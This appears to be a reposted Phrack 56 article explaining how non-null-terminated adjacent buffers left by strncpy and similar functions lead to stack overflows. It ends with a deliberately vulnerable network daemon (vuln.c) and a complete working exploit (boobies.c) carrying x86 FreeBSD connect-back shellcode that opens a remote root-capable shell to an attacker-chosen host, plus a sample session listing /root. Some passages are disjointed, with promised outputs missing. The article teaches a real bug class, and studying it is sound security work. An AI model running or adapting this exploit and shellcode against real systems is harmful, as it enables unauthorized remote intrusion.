TAKING ADVANTAGE OF NON-TERMINATED ADJACENT MEMORY SPACES - - P H R A C K M A G A Z I N E - Volume 0xa Issue 0x38 0x0e[0x10]
Pubblicato da twitch il 05/01/2000
Livello avanzato
Introduzione
----| Introduction
Because Phrack needs another buffer overflow article, because most ofthose pesky strcpy()'s have been replaced with strncpys()'s, and becausechicks dig shellcode, I present for your benefit yet another buffer overflow technique. Like 'Frame Pointer Overwriting' from P55, this is not themost common of problems, but it does exist, and it is exploitable.
This article details the hazards of non-terminated buffers (specifically non-terminated strings), and their potential impact on the security of a application. This issue is discussed from a variety potential situations, culminating with an example exploit which abuses adjacent non-terminated string buffers together to perform program redirection via a buffer overflow.
Like most bugs this is not an unknown problem, however judging from random source browsing, it appears that this is not a widely understood issue.
Incidentally, the example code contains idiosyncratic architectural references and man page excerpts as presented from the point of view of FreeBSD running on the x86 architecture.
Due to popular pleading, the noun 'data' is treated as singular throughout this document, even though that is wrong.
Programmi usati
Iniziamo
----| Rehash
If you already know how buffer overflows work (and if you have read any issue of Phrack within the last two years, how could you not?), skip this section.
When a program allocates a buffer, then copies arbitrary data into this buffer, it must ensure that there is enough room for everything that is being copied. If there is more data than there is allocated memory, all data could still be copied, but past the end of the designated buffer and random, most likely quite important, data will be overwritten. It's all really quite rude. If the data being copied is supplied by the user, the user can do malevolent things like change the value of variables, redirect program execution, etc. A common overflow will look like this:
void func(char *userdata)
{
char buf[256];
...
strcpy(buf, userdata);
...
}
The programmer assumes that the data being copied will surely be less than 256 bytes and will fit snugly into the supplied buffer. Unfortunately, since the data being copied is user-supplied, it could be damned near anything and of any size. The function strcpy() will continue copying bytes from *userdata until a NULL is found, so any data past 256 bytes will overflow.
void func(char *userdata)
{
char buf[256];
...
strncpy(buf, userdata, 256);
...
}
strncpy() will only copy as many bytes as are specified. So in the above, the maximum amount of data that is ever copied is 256 bytes, and nothing is overwritten (note that the above code snippet exemplifies the problem discussed below).
char *
strncpy(char *dst, const char *src, size_t len)
...
The strncpy() copies not more than len characters into dst, appending `\0' characters if src is less than len characters long, and _not_+ terminating dst if src is more than len characters long.
char buf1[8];
char buf2[4];
The compiler is most likely going to place these two buffers _next_ to each other on the stack. Now, consider the stack for the above:
Upper
Memory
|| ----------------> [Top of the stack]
|| ----------------> [ buf2 - 0 ]
|| ----------------> [ buf2 - 1 ]
|| ----------------> [ buf2 - 2 ]
|| ----------------> [ buf2 - 3 ]
|| ----------------> [ buf1 - 0 ]
|| ----------------> [ buf1 - 1 ]
|| ----------------> [ buf1 - 2 ]
|| ----------------> [ buf1 - 3 ]
|| ...
|| ----------------> [ buf1 - 7 ]
||
|| ...
\/
[ Remember that the stack grows down on our example architecture (and probably yours, too), so the above diagram looks upside down ]
void
func()
{
char buf1[8];
char buf2[4];
fgets(buf1, 8, stdin);
strncpy(buf2, buf1, 4);
}
Assuming that the user entered the string 'iceburn', after the strncpy() the stack would look like this:
Upper
Memory
|| ----------------> [Top of the stack]
|| ----------------> [ 'i' (buf2 - 0) ]
|| ----------------> [ 'c' (buf2 - 1) ]
|| ----------------> [ 'e' (buf2 - 2) ]
|| ----------------> [ 'b' (buf2 - 3) ]
|| ----------------> [ 'i' (buf1 - 0) ]
|| ----------------> [ 'c' (buf1 - 1) ]
|| ----------------> [ 'e' (buf1 - 2) ]
|| ----------------> [ 'b' (buf1 - 3) ]
|| ----------------> [ 'u' (buf1 - 4) ]
|| ----------------> [ 'r' (buf1 - 5) ]
|| ----------------> [ 'n' (buf1 - 6) ]
|| ----------------> [ 0x00 (buf1 - 7) ]
||
|| ...
\/
We know from the man page that even though strncpy() is not going to copy more than 4 bytes. But since the src string is longer than 4 bytes, it will not null-terminate either. Thus, strlen(buf2) is now 11, even though sizeof(buf2) is 4. This is not an overflow, as no data beyond the boundaries of the allocated space have been overwritten. However, it does establish a peculiar situation. For instance, the result of printf("You entered: %s\n", buf2); would produce the following:
/*
* Validate that the remote peer has permission to log to us.
*/
int
validate(sin, hname)
struct sockaddr_in *sin;
const char *hname;
{
int i;
size_t l1, l2;
char *cp, name[MAXHOSTNAMELEN];
struct allowedpeer *ap;
if (NumAllowed == 0)
/* traditional behaviour, allow everything */
return 1;
strncpy(name, hname, sizeof name);
if (strchr(name, '.') == NULL) {
strncat(name, ".", sizeof name - strlen(name) - 1);
strncat(name, LocalDomain, sizeof name - strlen(name) - 1);
}
...
}
Suppose that hname is at least MAXHOSTNAMELEN bytes long and does not contain a '.'. This means that the calculation for the length argument to strncat will expand to:
sizeof name == MAXNAMELEN
strlen(name) >= MAXNAMELEN
Thus, length will be < 0
int
main(int argc, char **argv)
{
char buf1[1024];
char buf2[256];
strncpy(buf, argv[1], 1024);
strncpy(buf2, argv[2], 256);
...
if(somecondition)
print_error(buf2);
}
void print_error(char *p)
{
char mybuf[263];
sprintf(mybuf, "error: %s", p);
}
A stack diagram would be really large and redundant, so one will not be making an appearance here, but it should be fairly clear what will happen.
[ 0 ....................................................256.. ~280 ]
--------------------------------------------------------------------
| | | | |
| Bunch of NOP's | shellcode | More NOP's | offset_to_shellcode |
| | | | |
--------------------------------------------------------------------
| Buffer |
|________________________________________________________|
All that we do is pass enough data so that when the overflow occurs, the offset to the our shellcode (an address somewhere on the stack) overwrites the saved instruction pointer. Thus, when the vulnerable function returns, program execution is redirected to our code.
[ 0 ......................................................... 1024 ]
--------------------------------------------------------------------
| | |
| offset_to_shellcode | Filled with NULL's by strncpy() |
| | |
--------------------------------------------------------------------
And buf2 will look like this:
[ 0 .......................................................... 256 ]
--------------------------------------------------------------------
| | | |
| Bunch of NOP's | shellcode | More NOP's |
| | | |
--------------------------------------------------------------------
This arrangement is required due to the way in which the buffers are arranged on the stack. What is supplied as argv[1] (the data that is copied into buf1) will be located higher in memory than the data we supply as argv[2] (which is copied into buf2). So technically, we supply the offset at the beginning of the exploit string, rather than at the end. Then, when print_error() is called, the stack in main(), will look like this:
[Top of stack Upper Memory]
[ 0 .............................................~300../ /... 1280 ]
-------------------------------------------------------/ /----------
| | | | / / |
| Bunch of NOP's | shellcode | More NOP's | offset / / NULL's |
| | | | / / |
-------------------------------------------------------/ /----------
Which resembles greatly the traditional payload described above.
char buf[MAXSIZE + 1];
FILE *fd;
size_t len;
...
memset(buf, 0, MAXSIZE + 1);
len = fread((void *)buf, 1, MAXSIZE, fd);
/*
* This won't actually happen, but it is supplied to
* prove a point
*/
if(len > MAXSIZE){
syslog(LOG_WARNING, "Overflow occured in pid %d, invoked by %d\n",
getpid(), getuid());
exit(1);
}
...
Okay, so the above is a bit silly, but the hopefully the intent is clear.
fread()
the read() family [ read(), readv(), pread() ]
memcpy()
memccpy()
memmove()
bcopy()
for(i = 0; i < MAXSIZE; i++)
buf[i] = buf2[i];
gethostname()
strncat()
These functions are kind enough to null-terminate for you:
snprintf()
fgets()
Now, go break something, or better yet, go fix something.
<++> p56/Boobies/vuln.c !66dd8731
/*
* vuln.c
*
* 01/09/1999
* <[email protected]>
*
* Example to display how non-terminated strings in adjacent memory
* spaces may be exploited.
*
* Give it a port to listen on if you wish as argv[argc - 1]
* (the default is 6543).
*
* The code is sloppy because I really didn't care.
* Pretend it's a game on a Happy Meal(tm) box- how many other exploitable
* conditions can you find?
*
* to compile-
* [twitch@lupus]$ gcc -Wall -o vuln vuln.c
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#ifndef MAXHOSTNAMELEN
#define MAXHOSTNAMELEN 256
#endif /* MAXHOSTNAME */
#define PORT 6543
int be_vulnerable(int);
void oopsy(char *);
int do_stuff(char *, int, u_short);
int
main(int argc, char **argv)
{
char myname[MAXHOSTNAMELEN + 1];
struct hostent *h;
int r;
u_short port;
port = PORT;
if(argc > 1)
port = strtoul(argv[argc - 1], NULL, 10);
memset(myname, 0, MAXHOSTNAMELEN + 1);
r = gethostname(myname, MAXHOSTNAMELEN);
if(r){
perror("gethostname");
return(1);
}
if(!(strlen(myname))){
fprintf(stderr, "I have no idea what my name is, bailing\n");
return(1);
}
h = gethostbyname(myname);
if(!h){
fprintf(stderr, "I couldn't resolve my own name, bailing\n");
return(1);
}
return(do_stuff(h->h_addr, h->h_length, port));
}
/*
* do_stuff()
* Listen on a socket and when we get a connection, had it
* off to be_vulnerable().
*/
int do_stuff(char *myaddr, int addrlen, u_short port)
{
struct sockaddr_in sin, fin;
int s, r, alen;
char *p;
memcpy(&sin.sin_addr.s_addr, myaddr, addrlen);
p = inet_ntoa(sin.sin_addr);
if(sin.sin_addr.s_addr == -1L){
fprintf(stderr, "inet_addr returned the broadcast, bailing\n");
return(1);
}
memset(&sin, 0, sizeof(struct sockaddr));
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if(s < 0){
perror("socket");
return(1);
}
alen = sizeof(struct sockaddr);
r = bind(s, (struct sockaddr *)&sin, alen);
if(r < 0){
perror("bind");
return(1);
}
r = listen(s, 1);
if(r < 0){
perror("listen");
return(1);
}
printf("Accepting connections on port %d...\n", port);
memset(&fin, 0, alen);
r = accept(s, (struct sockaddr *)&fin, &alen);
if(r < 0){
perror("accept");
return(1);
}
return(be_vulnerable(r));
}
/*
* be_vulnerable()
* We grab a chunk o' data from the wire and deal with it
* in an irresponsible manner.
*/
int be_vulnerable(int s)
{
int r;
char buf[1024], buf2[256];
memset(buf, 0, 1024);
memset(buf2, 0, 256);
r = read(s, (void *)buf, 1024);
r = read(s, (void *)buf2, 256);
oopsy(buf2);
close(s);
return(0);
}
/*
* oopsy()
* Copy data into local storage to do something with it.
* I'm lazy so all this does is cause the overflow.
*/
void oopsy(char *p)
{
char mybuf[256];
fprintf(stderr, "Oh shit, p is %d bytes long.\n", strlen(p));
strncpy(mybuf, p, strlen(p));
}
<-->
<++> p56/Boobies/boobies.c !f264004c
/*
* boobies.c
*
* 01/09/1999
* <[email protected]>
*
* Dedicated to Kool Keith, Bushmill's smooth and mellow (distilled
* three times) Irish Whiskey, and that one SCO guy's beautiful lady.
*
*
* Example exploit for vuln.c to display how non-terminated strings
* in adjacent memory can cause real troubles.
*
* This shellcode will establish a TCP connection to any port and
* address you deem fit (see the shellcode for where/how to do this)
* and drop a shell. You won't get a prompt, but otherwise, it is a
* full shell with the privleges of whatever the exploited program had.
*
* This is the x86 FreeBSD version- Linux and SPARC Solaris versions,
* as well as full assembly listings are available at
* www.vicar.org/~twitch/projects/llehs
*
* To use this exploit, run the silly little vulnerability demo
* program on some system (in this example it's running on a system
* called lupus) thusly:
*
* [twitch@lupus]$ ./vuln
* Accepting connections on port 6543...
*
* Then do this on the attacking system (or wherever you are directing
* the shell):
*
* [twitch@pornstar]$ nc -n -v -l -p 1234
* listening on [any] 1234 ...
*
* [ from another terminal/window ]
*
* [twitch@pornstar]$ ./boobies -a 192.168.1.1 -p 1234 |nc -v lupus 6543
* lupus [192.168.1.6] 6543 (?) open
*
* [ back to the first terminal/window ]
*
* connect to [192.168.1.1] from (lupus) [192.168.1.6] 1234
* uname -n
* lupus.vicar.org
* ls -alF /root/
* total 14
* drwxr-x--- 3 root wheel 512 Dec 8 20:44 ./
* drwxr-xr-x 19 root wheel 512 Dec 10 19:13 ../
* -rw------- 1 root wheel 4830 Jan 4 16:15 .bash_history
* -rw------- 2 root wheel 383 May 17 1999 .cshrc
* -rw------- 1 root wheel 1354 Jan 5 10:33 .history
* -rw------- 1 root wheel 124 May 17 1999 .klogin
* -rw------- 1 root wheel 491 Dec 4 19:59 .login
* -rw------- 2 root wheel 235 May 17 1999 .profile
* drwxr-x--- 2 root wheel 512 Dec 8 20:44 .ssh/
* ^C
* [twitch@pornstar]$
*
* You will need to supply an offset of around -50 if
* vuln is running on a port besides the default.
*
* The exploit has a few options that you can read about by doing:
* [twitch@pornstar]$ ./boobies -h
* usage: ./boobies [-o offset_nudge] [-p port] [-a address] [-A alignment]
* -o Nudge the offset offset_nudge bytes.
* -p Port to which the target should connect.
* -a Address to which the target should connect.
* (Must be an IP address because I'm lazy.)
* -A Nudge the alignment.
* -v Be verbose about what we're doing.
* -h The secret to life.
*
* If you compile this on non-x86 architectures, you will prolly have to
* play with the alignment a bit.
*
* to compile-
* [twitch@pornstar]$ gcc -o boobies -Wall boobies.c
* Be alert, look alive, and act like you know.
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
char llehs[] =
"\x55\x89\xe5\xeb\x7e\x5e\x31\xc0\x88\x46\x07\x83\xec\x18" /* 14 */
"\xc6\x45\xe9\x02\x31\xc0\x66\xb8" /* 22 */
/*
* Replace with (htons(port) ^ 0xff).
* Defaults to 1234.
*/
"\xfb\x2d"
"\x66\x35\xff\xff\x66\x89\x45\xea\xb8" /* 33 */
/*
* Replace with (inet_addr(host_to_conenct_to) ^ 0xffffffff).
* Defaults to 192.168.1.6.
*/
"\x3f\x57\xfe\xf9"
"\x83\xf0\xff\x89\x45\xec\x6a\x06\x6a\x01\x6a\x02\x6a\x0f\x31\xc0\xb0"
"\x61\xcd\x80"
"\x6a\x10\x89\xc3\x8d\x45\xe8\x50\x53\x6a\x0f\x31\xc0\xb0\x62\xcd\x80"
"\x31\xc0\x50\x53\x6a\x0f\xb0\x5a\xcd\x80"
"\x53\x6a\x0f\x31\xc0\xb0\x06\xcd\x80"
"\x6a\x01\x31\xc0\x50\x6a\x0f\xb0\x5a\xcd\x80"
"\x6a\x02\x31\xc0\x50\x6a\x0f\xb0\x5a\xcd\x80"
"\x31\xc0\x50\x50\x56\x6a\x0f\xb0\x3b\xcd\x80"
"\x31\xc0\x40\xcd\x80"
"\xe8\x7d\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
/*
* This offset seems to work if you are running the exploit and the
* vulnerable proggy on the same machine, with vuln listening on its
* default port. If vuln is listening on a user-supplied port, this
* needs to be around 0xbfbfd0fc. YMMV.
*/
#define OFFSET 0xbfbfd108
#define NOP 0x90
#define BUFSIZE 1300
#define SHELLSIZE 143
#define PAD 32
#define ALIGNIT 0
/*
* Offset into the shellcode for the port
*/
#define SCPORTOFF 22
/*
* Offset into the shellcode for the address
*/
#define SCADDROFF 33
void usage(char *proggy)
{
fprintf(stderr, "usage: %s [-o offset_nudge] [-p port] [-a address] ", proggy);
fprintf(stderr, "[-A alignment]\n");
fprintf(stderr, "\t-o\t\tNudge the offset offset_nudge bytes.\n");
fprintf(stderr, "\t-p\t\tPort to which the target should connect.\n");
fprintf(stderr, "\t-a\t\tAddress to which the target should connect.\n");
fprintf(stderr, "\t\t\t(Must be an IP address because I'm lazy.)\n");
fprintf(stderr, "\t-A\t\tNudge the alignment.\n");
fprintf(stderr, "\t-v\t\tBe verbose about what we're doing.\n");
fprintf(stderr, "\t-h\t\tThe secret to life.\n");
fprintf(stderr, "\n");
exit(1);
}
void main(int argc, char **argv)
{
char b00m[BUFSIZE], *p, c;
char *port, *addr;
u_short portd;
u_long addrd;
extern char *optarg;
int i, nudge = 0, o = OFFSET, align = 0;
int verb = 0;
port = &(llehs[SCPORTOFF]);
addr = &(llehs[SCADDROFF]);
while((c = getopt(argc, argv, "o:p:a:A:vh")) != -1){
switch(c){
/*
* Nudge to the offset
*/
case 'o':
nudge = strtoul(optarg, NULL, 10);
break;
/*
* Port to which we connect
*/
case 'p':
portd = strtoul(optarg, NULL, 10);
if(verb)
fprintf(stderr, "Shell coming back on port %d\n", portd);
portd = htons(portd);
portd ^= 0xffff;
if(verb)
fprintf(stderr, " (0x%x)\n", portd);
memcpy((void *)port, (void *)&portd, sizeof(u_short));
break;
/*
* Address to which we connect
*/
case 'a':
addrd = inet_addr(optarg);
if(addrd == -1L){
fprintf(stderr, "Bad address '%s'.\n", optarg);
exit(1);
}
addrd ^= 0xffffffff;
memcpy((void *)addr, (void *)&addrd, sizeof(u_long));
if(verb){
fprintf(stderr, "Shell is being sent to %s.\n", optarg);
fprintf(stderr, " (0x%lx)\n", addrd);
}
break;
/*
* Alignment (should only be necessary on architectures
* other than x86)
*/
case 'A':
align = strtoul(optarg, NULL, 10);
break;
case 'v':
verb++;
break;
case 'h':
default:
usage(argv[0]);
break;
}
}
o += nudge;
align += ALIGNIT;
if(verb){
fprintf(stderr, "Offset is 0x%x\n", o);
fprintf(stderr, "Alignment nudged %d bytes\n", align);
}
p = b00m;
memset(p, 0x90, sizeof(b00m));
p = b00m + ALIGNIT;
for(i = 0; i < PAD; (i += 4)){
*((int *)p) = o;
p +=4;
}
p = (&b00m[0]) + PAD + PAD + ALIGNIT;
memcpy((void *)p, (void*)llehs, SHELLSIZE);
b00m[BUFSIZE] = 0;
fprintf(stderr, "payload is %d bytes wide\n", strlen(b00m));
printf("%s", b00m);
exit(0);
}
<-->
|EOF|-------------------------------------------------------------------------|